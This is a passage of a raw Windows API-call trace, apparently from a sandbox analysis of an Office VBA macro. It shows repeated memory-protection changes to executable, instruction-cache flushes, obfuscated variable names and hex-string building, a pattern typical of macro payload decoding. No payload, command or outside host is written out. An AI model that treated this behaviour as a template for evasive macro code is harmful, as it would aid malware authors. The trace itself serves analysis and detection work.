lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.933] GetCurrentProcess () returned 0xffffffff [0085.933] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.933] GetCurrentProcess () returned 0xffffffff [0085.933] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.933] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.934] GetCurrentProcess () returned 0xffffffff [0085.934] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.934] GetCurrentProcess () returned 0xffffffff [0085.934] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.934] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.934] GetCurrentProcess () returned 0xffffffff [0085.934] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.935] GetCurrentProcess () returned 0xffffffff [0085.935] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.935] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.935] GetCurrentProcess () returned 0xffffffff [0085.935] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.935] GetCurrentProcess () returned 0xffffffff [0085.935] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.935] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.936] GetCurrentProcess () returned 0xffffffff [0085.936] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.936] GetCurrentProcess () returned 0xffffffff [0085.936] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.936] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.936] GetCurrentProcess () returned 0xffffffff [0085.936] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.936] GetCurrentProcess () returned 0xffffffff [0085.936] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.936] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.937] GetCurrentProcess () returned 0xffffffff [0085.937] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.937] GetCurrentProcess () returned 0xffffffff [0085.937] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.937] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.937] GetCurrentProcess () returned 0xffffffff [0085.937] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.937] GetCurrentProcess () returned 0xffffffff [0085.937] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.938] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.938] GetCurrentProcess () returned 0xffffffff [0085.938] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.939] GetAsyncKeyState (vKey=3) returned 0 [0085.939] CRetailMalloc_Alloc () returned 0xcaec670 [0085.939] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.939] memcpy (in: _Dst=0xfa55040, _Src=0x197404, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0085.939] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.939] memcpy (in: _Dst=0xfa54f38, _Src=0x1973bc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.939] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x97\x96\x97", cchCount1=-1, lpString2="\x96\x96\x96\x96\x96", cchCount2=-1) returned 3 [0085.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2e6e, cbMultiByte=6, lpWideCharStr=0x197204, cchWideChar=7 | out: lpWideCharStr="–––––") returned 6 [0085.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92e92, cbMultiByte=6, lpWideCharStr=0x197264, cchWideChar=7 | out: lpWideCharStr="–––––") returned 6 [0085.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92e92, cbMultiByte=6, lpWideCharStr=0x197264, cchWideChar=7 | out: lpWideCharStr="–––––") returned 6 [0085.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92e92, cbMultiByte=6, lpWideCharStr=0x197264, cchWideChar=7 | out: lpWideCharStr="–––––") returned 6 [0085.940] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x97\x96\x97", cchCount1=-1, lpString2="\x96\x96\x96\x96\x96", cchCount2=-1) returned 3 [0085.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92e92, cbMultiByte=6, lpWideCharStr=0x197264, cchWideChar=7 | out: lpWideCharStr="–––––") returned 6 [0085.940] CRetailMalloc_Alloc () returned 0xf2f34c8 [0085.940] _mbscpy_s (in: _Dst=0xf2f34c8, _DstSizeInBytes=0x6, _Src=0xcc92e92 | out: _Dst=0xf2f34c8) returned 0x0 [0085.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280bb2, cbMultiByte=13, lpWideCharStr=0x197274, cchWideChar=14 | out: lpWideCharStr="_B_var_–––––") returned 13 [0085.941] _mbscpy_s (in: _Dst=0x1972dc, _DstSizeInBytes=0x6, _Src=0xcc92e92 | out: _Dst=0x1972dc) returned 0x0 [0085.941] CRetailMalloc_Free () returned 0x1 [0085.941] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0085.941] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.941] memcpy (in: _Dst=0xfa54f3c, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.941] memcpy (in: _Dst=0xfa54f38, _Src=0x197254, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.941] memcpy (in: _Dst=0xfa54f38, _Src=0x197254, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.941] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.941] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.941] memcpy (in: _Dst=0xcaec6e4, _Src=0x197484, _Size=0x18 | out: _Dst=0xcaec6e4) returned 0xcaec6e4 [0085.941] CRetailMalloc_Realloc () returned 0xcaec670 [0085.941] CRetailMalloc_Free () returned 0x1 [0085.942] GetCurrentProcess () returned 0xffffffff [0085.942] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.942] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.942] GetCurrentProcess () returned 0xffffffff [0085.942] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.942] GetCurrentProcess () returned 0xffffffff [0085.942] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.942] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.943] GetCurrentProcess () returned 0xffffffff [0085.943] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.943] GetCurrentProcess () returned 0xffffffff [0085.943] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.943] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.943] GetCurrentProcess () returned 0xffffffff [0085.943] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.943] GetCurrentProcess () returned 0xffffffff [0085.943] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.943] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.944] GetCurrentProcess () returned 0xffffffff [0085.944] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.944] GetCurrentProcess () returned 0xffffffff [0085.944] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.944] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.944] GetCurrentProcess () returned 0xffffffff [0085.944] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.944] GetCurrentProcess () returned 0xffffffff [0085.945] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.945] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.945] GetCurrentProcess () returned 0xffffffff [0085.945] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.945] GetCurrentProcess () returned 0xffffffff [0085.945] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.945] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.946] GetCurrentProcess () returned 0xffffffff [0085.946] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.946] GetCurrentProcess () returned 0xffffffff [0085.946] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.946] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.978] GetCurrentProcess () returned 0xffffffff [0085.978] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.978] GetCurrentProcess () returned 0xffffffff [0085.978] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.978] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.978] GetCurrentProcess () returned 0xffffffff [0085.978] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.978] GetCurrentProcess () returned 0xffffffff [0085.978] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.978] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.979] GetCurrentProcess () returned 0xffffffff [0085.979] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.979] GetCurrentProcess () returned 0xffffffff [0085.979] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.979] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.979] GetCurrentProcess () returned 0xffffffff [0085.979] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.979] GetCurrentProcess () returned 0xffffffff [0085.979] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.979] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.980] GetCurrentProcess () returned 0xffffffff [0085.980] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.980] GetCurrentProcess () returned 0xffffffff [0085.980] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.980] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.980] GetCurrentProcess () returned 0xffffffff [0085.980] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.980] GetCurrentProcess () returned 0xffffffff [0085.980] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.980] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.981] GetCurrentProcess () returned 0xffffffff [0085.981] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.981] GetCurrentProcess () returned 0xffffffff [0085.981] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.981] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.981] GetCurrentProcess () returned 0xffffffff [0085.981] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.982] GetCurrentProcess () returned 0xffffffff [0085.982] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.982] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.982] GetCurrentProcess () returned 0xffffffff [0085.983] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.983] GetCurrentProcess () returned 0xffffffff [0085.983] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.983] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.983] GetCurrentProcess () returned 0xffffffff [0085.983] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.983] GetCurrentProcess () returned 0xffffffff [0085.983] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.983] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.984] GetCurrentProcess () returned 0xffffffff [0085.984] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.984] GetCurrentProcess () returned 0xffffffff [0085.984] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.984] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.984] GetCurrentProcess () returned 0xffffffff [0085.984] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.984] GetCurrentProcess () returned 0xffffffff [0085.984] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.984] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.985] GetCurrentProcess () returned 0xffffffff [0085.985] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.985] GetCurrentProcess () returned 0xffffffff [0085.985] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.985] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.985] GetCurrentProcess () returned 0xffffffff [0085.986] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.986] GetCurrentProcess () returned 0xffffffff [0085.986] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.986] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.986] GetCurrentProcess () returned 0xffffffff [0085.986] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.986] GetCurrentProcess () returned 0xffffffff [0085.986] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.986] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.987] GetCurrentProcess () returned 0xffffffff [0085.987] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.987] GetCurrentProcess () returned 0xffffffff [0085.987] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.987] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.987] GetCurrentProcess () returned 0xffffffff [0085.987] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.987] GetCurrentProcess () returned 0xffffffff [0085.987] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.987] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.988] GetCurrentProcess () returned 0xffffffff [0085.988] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.988] GetCurrentProcess () returned 0xffffffff [0085.988] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.988] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.989] GetCurrentProcess () returned 0xffffffff [0085.989] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.989] GetCurrentProcess () returned 0xffffffff [0085.989] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.989] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.990] GetCurrentProcess () returned 0xffffffff [0085.990] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.990] GetCurrentProcess () returned 0xffffffff [0085.990] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.990] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.990] GetCurrentProcess () returned 0xffffffff [0085.990] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.990] GetCurrentProcess () returned 0xffffffff [0085.990] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.990] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.991] GetCurrentProcess () returned 0xffffffff [0085.991] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.991] GetCurrentProcess () returned 0xffffffff [0085.991] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.991] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.991] GetCurrentProcess () returned 0xffffffff [0085.991] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.991] GetCurrentProcess () returned 0xffffffff [0085.991] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.991] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0085.992] GetCurrentProcess () returned 0xffffffff [0085.992] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.992] GetAsyncKeyState (vKey=3) returned 0 [0085.993] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.993] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.993] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.993] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.993] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.993] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.993] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0085.993] VarSub (in: pvarLeft=0x197bb4, pvarRight=0x197ba4, pvarResult=0x197b94 | out: pvarResult=0x197b94) returned 0x0 [0085.993] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x197b90 | out: ppsaOut=0x197b90) returned 0x0 [0085.993] SafeArrayAllocData (psa=0xc7cdb60) returned 0x0 [0086.012] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x197ac4 | out: pbstrResult=0x197ac4) returned 0x0 [0086.013] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.013] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.013] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.013] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.013] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.013] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.013] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.013] VarSub (in: pvarLeft=0x197bb4, pvarRight=0x197ba4, pvarResult=0x197b94 | out: pvarResult=0x197b94) returned 0x0 [0086.013] CRetailMalloc_Alloc () returned 0xcaed248 [0086.013] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0086.013] memcpy (in: _Dst=0xfa54f3c, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0086.013] memcpy (in: _Dst=0xfa54f40, _Src=0x19741c, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0086.013] memcpy (in: _Dst=0xfa54f3c, _Src=0x1973c8, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0086.013] memcpy (in: _Dst=0xfa54f40, _Src=0x19741c, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0086.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c1146, cbMultiByte=4, lpWideCharStr=0x197204, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0086.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc91146, cbMultiByte=4, lpWideCharStr=0x197264, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0086.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc91146, cbMultiByte=4, lpWideCharStr=0x197264, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0086.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc91146, cbMultiByte=4, lpWideCharStr=0x197264, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0086.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc91146, cbMultiByte=4, lpWideCharStr=0x197264, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0086.014] CRetailMalloc_Alloc () returned 0xf2f2c70 [0086.014] _mbscpy_s (in: _Dst=0xf2f2c70, _DstSizeInBytes=0x4, _Src=0xcc91146 | out: _Dst=0xf2f2c70) returned 0x0 [0086.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280bde, cbMultiByte=11, lpWideCharStr=0x197274, cchWideChar=12 | out: lpWideCharStr="_B_var_Mid") returned 11 [0086.014] CRetailMalloc_Free () returned 0x1 [0086.015] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0086.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6955ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) 